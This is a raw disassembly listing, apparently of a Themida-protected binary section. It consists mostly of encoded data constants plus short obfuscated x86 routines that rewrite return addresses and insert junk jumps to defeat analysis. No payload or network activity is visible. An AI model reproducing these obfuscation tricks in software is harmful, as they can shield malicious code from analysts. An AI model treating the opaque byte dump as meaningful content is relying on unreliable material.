0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 85B58953h, 8B061230h dd 12308D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0F2A2CBFh, 4689DBBFh, 959D8B04h dd 96061209h, 1A850Fh, 52500000h, 1A555FBFh, 0E8310F60h dd 9, 7484DFB8h, 665657BDh, 585A5F09h, 1CBF6650h, 6A966Ch dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0DDBAA5C3h, 10E9h, 9C769900h, 0A394FEE4h, 0AC0BDE99h dd 0AC536221h, 58E0FA9h, 0BF000000h, 61CBB2DCh, 0C80AB5FFh dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0ABECBCC3h, 0C3848C14h, 68F8BF0Fh, 9BA7037Eh dd 481C8B7h, 78008124h, 81665364h, 5B417AEBh, 0C812858Dh dd 60500615h, 5A515250h, 5250310Fh, 585A310Fh, 800F585Ah dd 0 ; --------------------------------------------------------------------------- popa mov [esp], eax pusha mov [ebp+61220BDh], edi popa call dword ptr [ebp+6122379h] mov ebx, esi popa push 0 push ebp call sub_599030 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599030 proc near ; CODE XREF: Themida_:00599028p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_599030 endp ; --------------------------------------------------------------------------- dd 0F838CA1h, 687h, 7DBD8B00h, 0C7061226h, 121BD985h, 306h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0DABD0998h, 12BD83C9h, 615C8h, 31840Fh dd 8B660000h, 44E9D8h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 296F60C3h, 0BA77169Fh dd 72BFD517h, 5035825Ch, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0DC8AC08Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0D2C35646h, 0B589EE0Fh, 6120065h dd 1BD9BD83h, 0F030612h, 4D585h, 0DAC38100h, 0E81E7E1Ah dd 0Bh, 9F5E638Ah, 2DBFAB35h, 81481168h, 1BE445DFh, 0BD835B2Dh dd 615C812h, 0AB840F00h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4DC357h dd 3F53509h, 81FD754Eh, 0E617ACEFh, 3E84BF0Fh, 0B5FF7BBAh dd 615C812h, 13D9BD03h, 95FF0612h, 6121AA9h, 126CF81h dd 0BD8B758Dh, 61204ADh, 0C806B58Bh, 11E80615h, 0B6000000h dd 1E11E6A0h, 68857546h, 0EDA83839h, 65687135h, 1681BD8Bh dd 0C75B0612h, 1000106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 91BD01B1h, 8B061203h dd 12315D9Dh, 51609606h, 0E859C58Ah, 0Dh, 0B6A6D43Ah, 3571D8FAh dd 795140EDh, 5E9F8h, 6A530000h, 5898357Ah, 5B505061h dd 10E996h, 0ECE70000h, 0AA9B8424h, 2F23384Ah, 59824B5Dh dd 0B5FF5586h, 615C812h, 5947C381h, 95FF14FEh, 6121C05h dd 7E8h, 933F8F00h, 0DBCC130h, 3D1BD8Bh, 8B5B0612h, 15C806B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0E967908Ch, 12h, 437CB7A0h, 0CC62B01Ch dd 1CBA5A5Dh, 2B052199h, 858BBD59h, 61201A5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C8C35343h, 0FDD03165h dd 80F25D34h, 0FB8B51FCh, 0C486895Fh, 0E8000000h, 9, 2A50059h dd 4C60ED55h, 0FE909h, 92FE0000h, 51CD8048h, 0CC0C065Ch dd 5D49C127h, 0E3815FB5h, 12BF9B8h, 9A1958Bh, 6A0612h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 26A166C3h, 64423D4Bh, 0CA58D89h, 6E90612h, 0E5000000h dd 0AF7AA451h, 0EE9FBh, 527A0000h, 30C52A25h, 0AEAFA723h dd 72CE29CCh, 0F504C283h, 6A205089h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 72F6C356h dd 82C654BCh, 10E9h, 627AB900h, 18B7DC3Eh, 16F3AAFAh, 891E8A63h dd 6F858DC5h, 10615DCh, 1210559Dh, 0B8868906h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 4BCEC355h, 6A00B325h, 0B5FFF800h, 615C812h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0ECC35646h dd 0E5BD6273h, 85891885h, 6121285h, 6A595FFh, 6A0612h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8B0F45C3h, 1208DDBDh, 8A605006h, 615953D4h, 6A243489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 3D7CC355h, 0F85E52DDh, 926708A0h, 0C812B5FFh dd 0FFF50615h, 12028195h, 85895106h, 6121571h, 9BD835Bh dd 6122Ah, 0AB840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 609602C3h, 0AE85250h dd 0A000000h, 4788D771h, 1D9ED841h, 310F594Bh, 12E9h, 88344200h dd 0DE519F9Ah, 2AFF0AF3h, 0B017EFF7h, 5AA48B17h, 0FE958h dd 65520000h, 0B89AC33h, 1A4C3B91h, 534EF91Ch, 0F506178h dd 1C8Eh, 0E8525000h, 0Ah, 0B577474Eh, 52DA5C65h, 0F5FE645h dd 880F31h, 5A000000h, 6A9658h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0AF3001C3h, 899DDF80h dd 122B0DBDh, 12B5FF06h, 890615C8h, 1215259Dh, 0C195FF06h dd 60061218h, 89F0B70Fh, 122A559Dh, 0B5FF6106h, 615C812h dd 175D8529h, 9D330612h, 6120DD1h, 1BA195FFh, 6A0612h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0BBD72AC3h, 0D9BD8B8Bh, 0BB06121Fh, 4D7F1333h, 1EB1BD83h dd 0F020612h, 6584h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 10E965h, 65E90000h, 0C1251358h dd 63A0195Fh, 0DADFCE2Ch, 858B46F3h, 61203A5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DCC35141h, 31477538h dd 12140D8Dh, 0C606h, 8E0Fh, 85C70000h, 6121B59h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5995F7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5995F7 proc near ; CODE XREF: Themida_:005995EFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5995F7 endp ; --------------------------------------------------------------------------- db 0ECh dd 38C0F10h, 0F000000h, 63E9DFB7h, 80FFFFF2h, 0C18BDECBh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0CCC35141h dd 0D485A922h, 0F0E1A13Bh, 0ED9D8998h, 8B061204h, 1219ED9Dh dd 1858D06h, 6A06122Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 81A1C357h, 51403BEBh dd 12E99017h, 9B000000h, 7FBD0C2Dh, 25A11716h, 96C72967h dd 0E8A0187Dh, 0A8BB509Dh, 903EE7F2h, 6ADA8Ah, 890F5160h dd 0 ; --------------------------------------------------------------------------- pop edi mov di, 0E729h popa push 0 lea eax, [ebp+6172D8Bh] mov ebx, [ebp+6121A49h] add eax, 5 xor di, 0FEB2h nop jg loc_5996C8 mov ebx, 5FF195Fh loc_5996C8: ; CODE XREF: Themida_:005996BDj push eax mov di, 0DA5Eh nop push edx mov bh, 0E6h pop edi push 0 ja loc_5996DF and bx, 0CF2Fh loc_5996DF: ; CODE XREF: Themida_:005996D4j mov [ebp+6123499h], ebx push 0 mov [ebp+6121A5Dh], ecx call dword ptr [ebp+6120DB5h] push 0 push edi call sub_5996FE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5996FE proc near ; CODE XREF: Themida_:005996F6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5996FE endp ; --------------------------------------------------------------------------- dw 66CFh ; --------------------------------------------------------------------------- mov ebx, edi lea ecx, [ebp+615AF02h] push 0 push eax call sub_599723 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599723 proc near ; CODE XREF: Themida_:0059971Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_599723 endp ; --------------------------------------------------------------------------- db 6Dh dd 0BF66D140h, 0D1FFCAECh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 4EC35040h, 5D826738h, 2C619509h, 0BD830612h dd 61207ADh, 32850F01h, 3000000h, 122041BDh, 8B026A06h dd 120E9D9Dh, 1AB39006h, 0AE950h, 0BAAE0000h, 823C8108h dd 25884514h, 0ED9D8B90h, 0FF06121Dh, 1206A595h, 1FBB6606h dd 0C5DE93Dh, 0E80000h, 5D000000h, 2D95ED81h, 0BF0F0617h dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 192DD69Fh, 858DF88Bh, 6159437h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 16C35141h, 6678F001h dd 6690F98Bh, 9050DE8Bh, 35FF64F5h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_599817 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599817 proc near ; CODE XREF: Themida_:0059980Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_599817 endp ; --------------------------------------------------------------------------- db 0ECh ; --------------------------------------------------------------------------- clc scasb inc edi pop ss fsub dword ptr [eax] mov large fs:0, esp push 0 push ebp call sub_599841 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599841 proc near ; CODE XREF: Themida_:00599839p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_599841 endp ; --------------------------------------------------------------------------- db 59h, 0ECh, 36h dd 0F75116A1h, 0B5893EDCh, 6121DA5h, 0FFFA8B66h, 12067985h dd 0D2D6BF06h, 5E84252h, 51000000h, 3F49929h, 12E9h, 3DAB6300h dd 0DD4D1762h, 0F3E886E2h, 0DBF7666Ch, 5FEED7A7h, 6AFF6Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 85A177C3h, 0ADB5FF9Ch, 81061206h, 437AC6E7h, 0E585894Ah dd 0FF06122Ch, 122CB595h, 141E906h, 78BF0000h, 0B07896D4h dd 0F8B70F00h, 6E870E6h, 9B000000h, 20F7F5C1h, 6840F8Fh dd 81000000h, 441496F3h, 71E45F2Bh, 3485BD8Bh, 613C0612h dd 10D830Fh, 85310000h, 6122EC9h, 81C8B60Fh, 24D1B1D7h dd 6BA4Fh, 0BF0F0000h, 66C18BFAh, 0C13A48BFh, 10E904E8h dd 0A1000000h, 0C0F19B81h, 4CE9E007h, 0F85D8A20h, 669D7C59h dd 9D29E2F7h, 6121321h, 0FE8C82Bh, 38000000h, 4B5D2F23h dd 55865982h, 0CB510289h, 0BD29D977h, 612164Dh, 0DF81665Bh dd 0D18BD0F6h, 6E8h, 0B024E800h, 0E95D12FAh, 11h, 898D8323h dd 0AE9BC86Ah, 0A68E000h, 716068C6h, 84E95BADh, 89000000h dd 121E898Dh, 4C858B06h, 8B505F4Ch, 7C083FAh, 0C083FE8Bh dd 5D9D0100h, 3B06121Ah, 11830FD0h, 89000000h, 120899BDh dd 55E906h, 0B5890000h, 61210F9h, 0FFFF8D8Bh, 0BD8BFFFFh dd 612099Dh, 0F01E183h, 3A84h, 0BE900h, 8EBF0000h, 0F06A0150h dd 882F68ABh, 0FFA5830Fh, 0FEFFFFFFh, 6820Fh, 85290000h dd 6122C61h, 4C4C9589h, 8D89505Fh, 6122D75h, 19C59D8Bh dd 0E90612h, 8D000000h, 16A774B5h, 3D1DBF06h, 6A35D4h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E7C35646h dd 870F55B5h, 2, 95FF5AB3h, 61219CDh, 6E99D8Bh, 23B90612h dd 60000011h, 17D68166h, 0ED8D89EAh, 61061208h, 89FCE183h dd 122ADDBDh, 6AFC06h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0BD8B7DC3h, 612175Dh, 62EF8166h dd 0B843h, 8D0F0000h, 17h, 0DE8h, 0DE39E600h, 44EFEEABh dd 3DC619EDh, 0BF66572Fh, 0BA5F42BEh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_599AC3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_599AC3 proc near ; CODE XREF: Themida_:00599ABBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_599AC3 endp ; --------------------------------------------------------------------------- db 1 dd 0E3D66D72h, 0AD4AF380h, 0E8D1C233h, 0E983D003h, 8BF47504h dd 120CCD9Dh, 0FDBD8906h, 2906120Dh, 123169B5h, 880D06h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0D4EBC5C3h, 0A1958BF1h, 6A061209h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0E0C0C357h, 47351328h, 5032B124h, 47F650BBh, 8D8B5B02h dd 6120505h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0BFC35040h, 0FB8B508Eh, 9919589h, 8B500612h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 9AD2BF66h, 11E8h, 0C82F2800h dd 0ACA07C26h, 962B5C64h, 4C9FDFB9h, 8EBF55BEh, 5F116D62h dd 83F9BF0Fh, 122121BDh, 840F0006h, 48h, 0CC78166h, 0B8DAh dd 10E90000h, 70000000h, 15A01B90h, 28B3EB1Ah, 53CEF88Ch dd 8DC8FFF8h, 124DB58Dh, 14E95106h, 49000000h, 1554E23h dd 6AA34FB5h, 0B750342Ah, 7072DACh, 5B7B8181h, 0BD8BE1FFh dd 61230D1h, 1BD9BD83h, 0F000612h, 3C384h, 258D3100h, 0F061230h dd 68Eh, 859D8B00h, 83061218h, 121BD9BDh, 840F0106h, 3BFh dd 8D29F560h, 6120701h, 0D9BD8361h, 306121Bh, 373860Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 72DF76C3h, 14288BEBh, 51006A60h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 810F9631h dd 6, 1415B589h, 0DA8B0612h, 6AD98C66h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 740BC352h dd 0F5D42A0Ah, 6A04E180h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 89C5C351h, 121A4D9Dh dd 0FC90A06h, 13D84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 12C07615h, 5F16F73Bh dd 8D858B84h, 0F061230h, 580h, 0CF816600h, 853377D0h, 6123165h dd 108D0F90h, 0E9000000h, 0Bh, 42F31683h, 0CA7D280Ah, 50D9078Fh dd 10E9h, 928BA500h, 0A169A1B3h, 0FCDB5EC7h, 304CD976h dd 8D299000h, 6120025h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0D5383CC3h, 389BC21Ch dd 29BD89AAh, 0E8061213h, 4, 1F03FFh, 7E9h, 0C9F1C200h dd 0EB59D17Eh, 3F4BBF50h, 448B56FBh, 0BF660424h, 8B476Bh dd 3CBE6660h, 0DE807h, 22150000h, 53DEB198h, 7D362008h dd 59680778h, 24448961h, 0DE904h, 765E0000h, 7832EB3Bh dd 0C74F99D2h, 58529DACh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 75C35747h, 5C59182Ch, 0DA8AB78Eh, 7995FF30h dd 89061223h, 121D159Dh, 0C9BD8B06h, 8906121Bh, 15C81285h dd 81B58906h, 0E9061230h, 152h, 8EDBD23h, 858B0612h, 615C80Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F1C35141h dd 830F385Bh, 0Bh, 0C18B6660h, 1089B58Bh, 0C7610612h, 1800h dd 95896000h, 6120749h, 0BE9h, 0E712D400h, 11415ECDh, 9E0F02E7h dd 0EB58B61h, 6A0615C8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 4E43C352h, 31BD8BB5h dd 0E9061203h, 7, 378950C6h, 8B32C14Eh, 122AB985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0E006C88Fh, 0FB8E78FEh, 0BD8B5FD9h, 61201B1h, 10E90689h dd 6F000000h, 3E53B45Ah, 812417C3h, 0B4B93D00h, 8BC3E248h dd 12308D85h, 0C9858906h, 89061209h, 8D290446h, 61234BDh dd 505B5296h, 0D98A5250h, 0EEBB310Fh, 5A35C212h, 0B5FF9658h dd 615C80Ah, 1799589h, 2B680612h, 8B8DCF5Bh, 240481D8h dd 724FA8D4h, 0C812858Dh, 0B3500615h, 240489E9h, 1A7ACB81h dd 95FF07CAh, 6122379h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 13C35040h, 4A9D54A9h, 0E961D98Bh, 8 dd 88948D24h, 0D466CB7Ah, 1BD985C7h, 30612h, 0DE80000h dd 0B8000000h, 651B73D3h, 0E5B6F62h, 9B1E8C86h, 3075BD8Bh dd 835F0612h, 15C812BDh, 840F0006h, 0Dh, 3F1BD09h, 1DE90612h dd 8B000000h, 0C3050F9h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 72C35242h, 0D6F8C4BAh, 0E33DB2C0h, 5E8h dd 3302E300h, 0BE90543h, 0D0000000h, 2A4F4688h, 192F5F27h dd 0F5F1B10h, 286h, 83DA8B00h, 121BD9BDh, 850F0306h, 377h dd 0CE816660h, 0E9606D67h, 0Dh, 0A11354B7h, 0AA617D49h dd 0EE1F0848h, 0F08B66DBh, 0BD836161h, 615C812h, 4C840F00h dd 6A000003h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0E8F9C351h, 0Ah, 53FF100h, 135C2CB9h dd 5BFC4F49h, 0C812B5FFh, 870F0615h, 5, 74C38166h, 0A995FF77h dd 6A06121Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0E4D4C351h, 27B318B6h, 8953714Eh dd 12186195h, 6B58B06h, 6A0615C8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BFCFC355h dd 0BD89A6E1h, 6120389h, 106C7h, 0DA8A0001h, 8E996h, 46E80000h dd 0B779262Fh, 0F502A8Fh, 8Fh, 0FE99600h, 14000000h, 619B11ADh dd 0E9F40F58h, 15A9D228h, 0B5FFA1D9h, 615C812h, 890Fh dd 0FFF50000h, 121C0595h, 0BB665106h, 8B5F8034h, 15C806B5h dd 0DA8B6606h, 1A5858Bh, 86890612h, 0C4h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 0BFC35040h, 9055079Bh dd 8603ED36h, 8166576Fh, 5B9279F7h, 9A1958Bh, 6A0612h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 9C9847C3h, 3031826h, 0D1BD8BFCh, 8A061219h, 4C283F9h dd 89FE8B66h, 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0C302D3C3h, 6F858DBBh, 6A0615DCh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 7282C357h, 29C58550h, 120015BDh, 0B8868906h dd 52000000h, 14810Fh, 0FE90000h, 13000000h, 7FE1B68Fh dd 0C25946AAh, 3DD62F36h, 6A5F8FBFh, 1870F00h, 0F5000000h dd 0C812B5FFh, 0B70F0615h, 0A595FFFAh, 31061206h, 12027D95h dd 34895006h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 1D9D8B0Bh, 0FF06122Dh, 15C812B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 55B589EDh, 0E906121Fh, 0Ch, 0F6950D6Eh dd 0B08D0816h, 0C046032Dh dd 28195FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 34B1CC3h, 60E13144h, 83DBBF0Fh dd 122A09BDh, 840F0006h, 4Ch, 0E8525050h, 0Dh, 0CFA2ADF7h dd 5026E484h, 7440AA29h, 860F29h, 5B000000h, 8B66310Fh dd 89585AD9h, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 380748C3h, 0BBF733F6h, 1D9D272Bh dd 0C812B5FFh, 7E90615h, 0C0000000h, 40A0006Eh, 95FF94CAh dd 61218C1h, 0DE8h, 2CAD3100h, 4D64CB70h, 238199BCh, 0BD8B8F86h dd 61209A5h, 12B5FF5Fh, 8B0615C8h, 121451BDh, 0A195FF06h dd 8B06121Bh, 0B1BD83F9h, 206121Eh, 1D840Fh, 0BD8B0000h dd 612004Dh, 3A5858Bh, 8B570612h, 1234ED9Dh, 0C65B06h dd 0A19D0300h, 0C7061212h, 121B5985h, 6, 59BD2300h, 0E9061217h dd 0FFFFF4B4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 7CC35141h, 2A9B046Eh, 0FB8BB77Bh, 8DF8C18Bh, 122E0185h dd 19DF8106h, 905640E6h, 0E07F09BFh, 0BF665019h, 6A900C94h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0D83DC353h, 12A469AAh, 5CD7E557h, 61F98B60h dd 0DF81006Ah, 2E427089h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0CAC985C3h, 0A2727453h dd 0BF0FA9AEh, 0E860FF8h, 0E9000000h, 9, 0BB9436F9h, 1A5C996h dd 61958965h, 8D06121Eh, 173C4585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 88687EAEh dd 0C083A3CEh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 6E255EC9h, 0C767E313h dd 0E956A1F4h, 0Dh, 211BEF4Bh, 606DACF7h, 78755BCCh, 0BB665B4Fh dd 9D295CF8h, 61220EDh, 870F6050h, 0Ch, 7E9h, 0C6092300h dd 0F2D1492Dh, 66FA8B60h, 61E6F3B8h, 24048961h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 27C35343h, 6AF97651h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0CE85EB34h, 2386FF56h, 6A0F9Dh, 0CE9h, 0FA0F3E00h dd 494DCBD7h, 55203DB1h, 0B595FF03h, 0E906120Dh, 14h, 263FBC8Bh dd 0C455E309h, 32C59C4Dh, 5B8161C2h, 67EB8EE8h, 0AF028D8Dh dd 9E90615h, 5000000h, 68633CF0h, 846A1DF7h, 0D98AD1FFh dd 2075BD8Bh, 0BD830612h, 61207ADh, 9C850F01h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 7D3DC356h, 0FC786CCDh, 894D88FDh, 121E899Dh dd 0DE906h, 0DB8E0000h, 91E844CCh, 7B8CF9FAh, 6A668441h dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0F71171DCh, 0F48C641Ch, 665090D4h, 9031DBBFh dd 0FF37C780h, 1206A595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 174EF5CEh dd 9BEB6209h, 618D89A3h, 0E9061210h, 0C9Fh, 0E8h, 0ED815D00h dd 6173C4Fh, 12ED8D89h, 5E80612h, 0BF000000h, 0E380FE38h dd 0C6BF0F60h, 5F615F57h, 9437858Dh, 0B6B70615h, 0BFEFBB90h dd 90501060h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 9AC35343h, 0ED5A6E3Ah, 663AA3DFh, 25A4C781h, 35FF64h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0D382C356h, 55113F9Dh, 0B589167Ah dd 6121599h, 258964h, 8B000000h, 1211619Dh, 7985FF06h dd 6A061206h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 5B45C356h, 8682862Ch, 0EE9h, 7D8C7B00h dd 4CF82A46h, 0E82B4E01h, 6A69E27Eh, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 2D2356DAh dd 0DDB5FFC4h, 8B061213h, 12303D9Dh, 0B595FF06h, 0E906122Ch dd 152h, 10E9h, 83424200h, 63DFAD62h, 0C193FE1Dh, 574B303Dh dd 8900B024h, 121B79BDh, 0E470E606h, 81DF8171h, 3C6DEB7Fh dd 23830F61h, 8B000001h, 1211F99Dh, 0C8B60F06h, 28F0Fh dd 0F98B0000h, 6BAh, 0FBBF0F00h, 9D0BC18Bh, 612075Dh, 8B04E8C1h dd 122EF59Dh, 0E2F76606h, 7299D8Bh, 81660612h, 2BFD57CFh dd 6DBB51C8h, 5B5FBD9Dh, 9589D18Bh, 61222B9h, 0D5E9h, 4840F00h dd 66000000h, 8B4C94BFh, 47554C85h, 0D19D8B49h, 8306122Ah dd 820F07C0h, 0 db 83h, 0C0h, 0 ; --------------------------------------------------------------------------- jmp loc_59A81E ; --------------------------------------------------------------------------- dd 0E14BAAE2h, 0C78DA9FAh, 44985FFAh ; --------------------------------------------------------------------------- xor al, 0DAh loc_59A81E: ; CODE XREF: Themida_:0059A80Bj cmp edx, eax jnb loc_59A854 and edi, 6E80884Ah add [ebp+6121ADDh], edx jmp loc_59A8BE ; --------------------------------------------------------------------------- jz loc_59A854 pusha jmp loc_59A853 ; --------------------------------------------------------------------------- db 3Ah ; --------------------------------------------------------------------------- lds eax, [eax] push ecx mov ecx, 0F4022A90h mov dl, 0C9h mov ecx, 3ED73758h loc_59A853: ; CODE XREF: Themida_:0059A83Ej popa loc_59A854: ; CODE XREF: Themida_:0059A820j ; Themida_:0059A837j mov ecx, [ebp-1] add [ebp+612089Dh], ebx pusha mov [ebp+6120DFDh], ecx call sub_59A87C adc [ecx], ebp pop ecx xchg eax, ebx push 3Ah pop esi shl byte ptr [eax+9], 1 push ebp and bl, [eax-6Ah] js short loc_59A8F2 ; =============== S U B R O U T I N E ======================================= sub_59A87C proc near ; CODE XREF: Themida_:0059A867p call near ptr loc_59A88B+1 insd loop near ptr loc_59A8B9+1 jb near ptr 0DDC241FFh out dx, eax loc_59A88B: ; CODE XREF: sub_59A87Cp mov ebp, 83615E5Ah sub_59A87C endp ; sp-analysis failed loope near ptr loc_59A892+1 loc_59A892: ; CODE XREF: Themida_:0059A890j jz loc_59A8BE mov edi, ecx movzx ebx, di and dword ptr [ebp-1], 0FFFFFFFEh xor [ebp+61221D1h], ebx mov edi, [ebp+6123175h] mov [ebp+4947554Ch], edx movzx ebx, di loc_59A8B9: ; CODE XREF: sub_59A87C+6j jmp $+5 loc_59A8BE: ; CODE XREF: Themida_:0059A832j ; Themida_:loc_59A892j lea esi, [ebp+616B897h] mov ebx, [ebp+6120D2Dh] push 0 mov [ebp+61217BDh], ecx call dword ptr [ebp+61219CDh] mov [ebp+61217A9h], ebx xor edi, 2316A4BAh mov ecx, 106Ch add [ebp+6121F01h], esi and ecx, 0FFFFFFFCh loc_59A8F2: ; CODE XREF: Themida_:0059A87Aj push 0 push edi call sub_59A8FD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A8FD proc near ; CODE XREF: Themida_:0059A8F5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_59A8FD endp ; --------------------------------------------------------------------------- db 7Ch, 0F8h, 5Eh ; 